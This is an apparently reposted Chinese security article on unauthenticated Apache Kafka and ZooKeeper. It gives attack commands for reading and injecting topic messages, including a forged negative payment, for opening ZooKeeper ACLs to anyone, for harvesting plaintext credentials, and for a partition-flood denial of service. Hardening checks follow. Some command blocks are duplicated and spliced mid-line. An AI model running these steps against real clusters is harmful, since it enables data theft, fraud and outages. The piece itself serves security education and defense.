kafka简介
Kafka 是 Apache 软件基金会的一种分布式的、基于发布/订阅的消息系统。
kafka配置不当会导致未授权漏洞,接下来就来看看kafka未授权可能导致的问题。
kafa的默认端口:9092
版本兼容性参考表
Kafka 版本 |
最低 Java 版本 |
2.8.x |
Java 8 |
3.0.x |
Java 11 |
3.5.x |
Java 17 |
攻击工具与验证工具
Kafka命令行工具:
# 未授权生产消息
kafka-console-producer.sh --broker-list <Broker_IP>:9092 --topic test_topic
# 未授权消费消息
kafka-console-consumer.sh --bootstrap-server <Broker_IP>:9092 --topic test_topic --from-beginning
ZooKeeper客户端(Zookeeper未授权)
# 连接未授权ZooKe# 连接未授权ZooKeeper并遍历Kafka节点
zkCli.sh -server <ZooKeeper_IP>:2181
ls /brokers/topics # 查看所有Topic
get /config/topics/<Topic_Name> # 获取Topic配置eper并遍历Kafka节点 zkCli.sh -server <ZooKeeper_IP>:2181 ls /brokers/topics # 查看所有Topic get /config/topics/<Topic_Name> # 获取Topic配置
攻击路径
路径一:直接Broker利用
向业务核心Topic(如order_payment)注入伪造消息,干扰业务流程。
python
producer.send('order_payment', b'{"user":"admin","amount":-1000}')
订阅包含用户日志或配置的Topic(如user_activity),导出数据。
路径二:通过ZooKeeper横向控制
修改ZooKeeper中的ACL配置,授予攻击者管理员权限:
# 在ZooKeeperbash
# 在ZooKeeper客户端中执行
setAcl /config/topics/sensitive_topic world:anyone:cdrwa客户端中执行 setAcl /config/topics/sensitive_topic world:anyone:cdrwa
读取ZooKeeper存储的明文凭证文件(如jaas.conf),用于后续内网渗透。
路径三:拒绝服务攻击
kafka-topics.sh --create --bootstrap-server <目标IP>:9092 --topic flood_topic --partitions 1000
防御建议
Kafka Broker认证配置验证
检查server.properties文件是否启用SASL/SSL认证:
# 需存在以下至少一种认证配置(SCRAM为例)
# 需存在以下至少一种认证配置(SCRAM为例)
sasl.enabled.mechanisms=SCRAM-SHA-256
security.inter.broker.protocol=SASL_PLAINTEXT
检查ACL策略是否启用:
# 查看Topic的ACL权限列表
bin/kafka-acls.sh --list --bootstrap-server <Broker_IP>:9092 --topic test_topic
若输出无权限限制或包含ANYONE,则存在漏洞
ZooKeeper访问控制检测
检查zoo.cfg配置是否启用SASL认证:
# 需包含如下配置
authProvider.1=org.apache.zookeeper.server.auth.SASLAuthenticationProvider
requireClientAuthScheme=sasl
若缺失,攻击者可能通过2181端口直接访问元数据
原文始发于微信公众号(信安路漫漫):kafka未授权漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论